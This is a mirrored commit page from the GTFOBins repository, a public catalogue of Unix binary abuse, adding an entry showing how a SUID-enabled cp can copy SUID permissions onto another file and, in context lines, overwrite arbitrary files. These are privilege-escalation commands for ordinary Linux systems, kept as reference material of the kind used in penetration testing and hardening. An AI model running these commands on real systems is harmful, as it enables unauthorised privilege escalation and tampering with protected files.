mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 10:48:50 +01:00 
			
		
		
		
	Add cp suid
This commit is contained in:
		
				
					committed by
					
						
						GitHub
					
				
			
			
				
	
			
			
			
						parent
						
							7c9c505542
						
					
				
				
					commit
					cfe0a0c300
				
			@@ -18,6 +18,10 @@ functions:
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo "DATA" > $TF
 | 
			
		||||
        ./cp $TF $LFILE
 | 
			
		||||
    - description: This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.
 | 
			
		||||
      code: |
 | 
			
		||||
        LFILE=file_to_change
 | 
			
		||||
        ./cp --attributes-only --preserve=all ./cp "$LFILE"
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_write
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user